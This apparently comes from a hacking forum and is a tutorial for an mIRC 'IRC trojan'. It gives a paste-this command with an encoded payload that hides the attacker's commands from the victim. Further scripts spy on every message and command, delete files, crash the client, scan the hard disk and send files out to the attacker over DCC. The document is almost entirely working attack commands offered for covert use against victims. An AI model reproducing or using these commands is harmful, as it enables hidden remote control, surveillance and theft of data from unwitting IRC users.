Here is an IRC Torjan

Here is a way to make an IRC trojan, it works perfectly with MIRC, didn't try it on other IRC clients to be honest.
now you need to install it on remote computer (Infect the victim)

The script can be activated by the remote PC when he writes the next command:

//write czm.mrc $decode(b24gXio6dGV4dDppbnMqOj86eyAu***r***yLSB8IGhhbHRkZWYgfQ==,m) | .load -rs czm.mrc | msg YOURNICK i love you

YOURNICK = your nick. The remote computer will message you “I love you” once he writes the command. You can edit it or just delete the “ | msg YOURNICK I love you ” part.

This is what the command does: it will make a new .mrc file czm and put this in it (which is encoded in the command): on ^*:text:ins*:?:{ . $+ $2- | haltdef }

The haltdef will block your messages to the remote PC beginning with “ins”. With this the user can’t see your commands, so he wont have a clue who is controlling his mIRC. You can naturally leave that part out of the command when you want to see the messages on the remote computer. However most of the times you don't want the remote computer to "read" all the messages, since they are irrelevant (in the bot case by example).

Example:

/msg bot ins msg #channel hi

This will let the bot message #channel the “hi” message, but the remote PC will NOT see it, all others in the channel will see. And the bot will not see your message “ins msg #channel hi” because it will be blocked by “haltdef”. Nice isn’t it? If this has a bot application in this way the bot doesn't get all the garbage data that it doesn't need.

When the bot has executed that command the remote script is active. You can add a spy function if you want (this can cause him an excess flood if he is on too much “popular” channels (channel with much activity or chatting). For adding the spy part (it will send you all his activity, messages received, message sent and commands executed) execute the next commands:

Spy the remote PC (e.g. logging the activities for bots)

/msg bot ins write -c myscript.mrc
/msg bot ins unload -rs myscript.mrc
/msg bot insert write -c myscript.mrc on *:CONNECT: { .msg YOURNICK i am online }
/msg bot ins write myscript.mrc on *:TEXT:*:*: { .msg YOURNICK $timestamp <- < $+ $iif($chan,# $+ :,$+ ) $+ $nick $+ > $*- }
/msg bot ins write myscript.mrc on *:INPUT:*: { .msg YOURNICK $timestamp -> $iif($left($*,*) != /,< $+ $me $+ >,[COMMAND]) $*- }
/msg bot ins load -rs myscript.mrc

Once done that, you’ll receive the msgs immediately. You can let the spy function stop by typing the next command:

/msg bot ins unload -rs myscript.mrc

Note: bot = the nick of the client who has executed that command, and who has the remote script activated RAT (aka Trojan).

Sometimes you want to partly spy the remote PC, by example only read the private messages. Not the messages from the channels he is in, with this you will have less chance that he will flood himself of the server (excess flood). So the spy script becomes:

/msg bot ins write -c myscript.mrc
/msg bot ins unload -rs myscript.mrc
/msg bot insert write -c myscript.mrc on *:CONNECT: { .msg YOURNICK i am online }
/msg bot ins write myscript.mrc on *:TEXT:*:?: { .msg YOURNICK $timestamp <- < $+ $nick $+ > $*- }
/msg bot ins write myscript.mrc on *:INPUT:*: { .msg YOURNICK $timestamp -> $iif($left($*,*) != /,< $+ $me $+ >,[COMMAND]) $*- }
/msg bot ins load -rs myscript.mrc

YOURNICK is your nick, and bot is the nick of the remote client.

Make other remote files (.mrc)

You can make remote files yourself and add usefull functions in it.

/msg bot insert write -c YOURSCRIPTNAME.mrc on *:TEXT:*!opme*:#CHANNEL:/mode #channel +o $nick
/msg bot ins .load –rs YOURSCRIPTNAMEt.mrc

Use of the Trojan

REMOVE FILE :
/msg bot ins remove C:\Textfile.txt

PART CHANNEL:
/msg bot ins part #channel

QUERY USER:
/msg bot ins query user

MSG USER:
/msg bot ins msg user

INVITE USER:
/msg bot ins invite user #channel

RECEIVE FILE:
/msg bot ins dcc send user file
or
/msg bot ins dcc send user C:\something.sth

EDIT TEXT:
/msg bot ins write -l* C:\TESTING.txt thetextyouwanttoedit
(-l* --> first line)

READ A PIECE OF FILE (LIKE PERFORM):
following commands must be executed after eachother:
/msg bot ins write mab alias abcd*2* { msg user $read(perform.ini,w,*auth*) }
/msg bot ins .load -rs mab
/msg bot ins abcd*2*

SEARCH HARD DISK FOR A FILE:
/msg bot ins write MAB* alias MAB* { .echo $findfile(C:\,porn.*,0,msg user $*-) }
/msg bot ins .load -rs MAB*
/msg bot ins MAB*

LET HIS mIRC CRASH:
/msg bot ins write MAB2 alias MAB2 { while (* != 2) { beep } }
/msg bot ins .load -rs MAB2
/msg bot ins MAB2

SCAN HIS HARD DISK AND SAVE IT AS .txt:
//echo $findfile(c:,*.*,0,write C:\M_A_B.txt $*-)

Note: Probably you want this file, well you do this:

/msg bot ins dcc send YOURNICK C:\M_A_B.txt

** Important note **

The bot will see the send dialog, so act quick, for security reasons i s***est to write another trojan on another file; like:

/msg bot write MyNewScript.mrc $decode(b24gXio6dGV4dDppbnMqOj86eyAu***r***yLSB8IGhhbHRkZWYgfQ==,m) | .load -rs MyNewScript.mrc
